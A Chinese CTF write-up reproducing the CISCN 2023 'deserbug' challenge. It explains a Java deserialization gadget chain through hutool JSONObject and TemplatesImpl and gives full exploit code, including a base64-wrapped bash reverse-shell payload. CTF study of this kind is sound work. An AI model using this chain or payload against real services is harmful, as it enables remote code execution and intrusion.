2023CISCN deserbug复现

前言

最近暂时没什么事做了,打算把之前国赛的题复现下,靶场用的是ctfshow

题目提示:

1. cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

2. jdk8u202

环境配置

项目结构

下载题目附件,有一个DeserBug.jarlib文件夹

反编译DeserBug.jar,然后新建一个项目,把com/app下的两个java文件移到新项目的对应位置,也就是src/main/java/com/app

下载jdk8u202,地址jdk/8u202-b08,选最下面的jdk-8u202-windows-x64.exe

打开idea,在项目结构里配置SDK为jdk8u202

把附件里的lib库复制到新项目目录的lib文件夹,然后在库里面导入lib文件夹下的两个jar包

最后在模块里面添加库

Maven

添加依赖如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<dependencies>
<dependency>
<groupId>thirdparty</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
<scope>system</scope>
<systemPath>${project.basedir}/lib/commons-collections-3.2.2.jar</systemPath>
</dependency>

<dependency>
<groupId>thirdparty</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.18</version>
<scope>system</scope>
<systemPath>${project.basedir}/lib/hutool-all-5.8.18.jar</systemPath>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>

接着右键Maven同步项目即可

利用过程

初步分析

com/app下总共有两个java文件,其中Testapp.java是主类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.app;

import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Testapp {
public static void main(String[] args) {
HttpUtil.createServer(8888).addAction("/", (request, response) -> {
String bugstr = request.getParam("bugstr");
String result = "";
if (bugstr == null) {
response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
}

try {
byte[] decode = Base64.getDecoder().decode(bugstr);
ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = inputStream.readObject();
result = object.toString();
} catch (Exception e) {
Myexpect myexpect = new Myexpect();
myexpect.setTypeparam(new Class[]{String.class});
myexpect.setTypearg(new String[]{e.toString()});
myexpect.setTargetclass(e.getClass());

try {
result = myexpect.getAnyexcept().toString();
} catch (Exception ex) {
result = ex.toString();
}
}

response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}

可以看到接受一个bugstr参数,需要我们传入base64编码后的序列化数据,然后这里会解码并调用readObject()函数进行反序列化

同时题目提示cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept,跟进Myexpect看看

发现getAnyexcept()可以获取目标类的构造器并进行实例化,不难联想到可以用TrAXFilter来调用到TemplatesImplnewTransformer()方法,进而实现动态加载恶意字节码执行任意命令

继续跟进JSONObject看看

我们发现put方法调用了两个参数的set,然后set又调用了重载的set,最终调用到JSONUtil.wrap方法,而wrap会遍历Bean的getter方法,如果我们在value中传入myexpect对象,就会反射调用到getAnyexcept(),进而触发newInstance

对于为什么wrap可以调用到Myexpect的getter方法,感兴趣的可以上网看看原理,或者打个断点跟进去分析,过程很长这里就不展示了,可以简要看看我跟踪调试的结果

然后就是要找哪里调用了put方法,根据之前审计CC链的经验,我们可以用LazyMap.get()来触发put方法

那剩下的的就好办了,可以用CC5的前半段加上CC3的后半段组合修改一下就可以得到完整利用链

前半部分

起点我们就用BadAttributeValueExpExceptionreadObject(),具体可以参考我之前写的CC5审计文章Java反序列化 CC5链分析,当然我也会简单讲一下过程

首先通过BadAttributeValueExpExceptionreadObject()触发valObj.toString()valObj对象是由val获取,用反射修改字段为TiedMapEntry对象

然后调用到TiedMapEntrytoString(),进而调用到getValue()map我们传入LazyMapkey随便传一个就可以

接着调用LazyMapget方法触发putmap我们就传入JSONObject对象,因为JSONObject继承了MapWrapper,而MapWrapper又实现了Map接口,因此JSONObjectMap对象,可以传进去。然后factory我们就用ConstantTransformer

其实就是CC5的前半段,用图展示就是

后半部分

后半段的话就是CC3里有的,具体可以参考CC3分析文章Java反序列化 CC3链分析

在通过JSONUtilwrap方法调用到MyexpectgetAnyexcept()之后,我们尝试实例化TrAXFiltertemplates就传入TemplatesImpl对象,触发newTransformer()

然后触发到getTransletInstance()

继续跟进,当_name不为null_classnull时,触发defineTransletClasses()

继续跟,可以看到调用了defineClass方法,其作用是将一段字节流(通常是编译后的class字节码)转换成java.lang.Class实例并返回对应的Class对象。不过需要先满足几个前置条件,例如_bytecodes不为null_tfactory不为null以及要继承AbstractTranslet类,具体方法看我发的CC3文章,这里不多赘述了

最后用Javassist动态生成恶意类,转化为字节码byte数组,通过反射修改_bytecodes字段即可实现任意命令执行

1
2
3
4
5
6
7
8
9
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil" + System.nanoTime());
String payload = "calc.exe";
String cmd = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", payload);
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};

EXP

综上,我们可以得到exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public class Testapp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil" + System.nanoTime());
String payload = "calc.exe";
String cmd = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", payload);
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);

Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});

Transformer factory = new ConstantTransformer(myexpect);
JSONObject jsonObject = new JSONObject();
Map decorate = LazyMap.decorate(jsonObject, factory);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");

BadAttributeValueExpException o = new BadAttributeValueExpException(null);
setFieldValue(o, "val", tiedMapEntry);

serialize(o);
unserialize("cc.ser");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc.ser"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

成功弹出计算器

这里画个图直观感受一下

靶场

然后我们回到靶场,题目要求传入base64编码后的序列化数据,我们尝试反弹shell,但Java的Runtime.getRuntime().exec("...")不支持直接执行带有重定向符(>&)或管道符(|)的复杂 Shell 命令。它会把 > 当作文件名参数,而不是重定向操作,因此我们需要对命令执行编码

1
bash -c {echo,base64编码数据}|{base64,-d}|{bash,-i}

修改EXP代码,使其输出编码后的序列化数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class Testapp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil" + System.nanoTime());
String payload = "bash -c {echo,base64编码数据}|{base64,-d}|{bash,-i}";
String cmd = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", payload);
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);

Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});

Transformer factory = new ConstantTransformer(myexpect);
JSONObject jsonObject = new JSONObject();
Map decorate = LazyMap.decorate(jsonObject, factory);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");

BadAttributeValueExpException o = new BadAttributeValueExpException(null);
setFieldValue(o, "val", tiedMapEntry);

byte[] serializedData = serializeToBytes(o);
String base64Payload = Base64.getEncoder().encodeToString(serializedData);
System.out.println(base64Payload);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] serializeToBytes(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}

服务器开启监听,然后将运行得到的base64编码数据传入,参数为bugstr

成功反弹shell

直接读取flag即可

作者

WayneJoon.H

发布于

2026-01-13

许可协议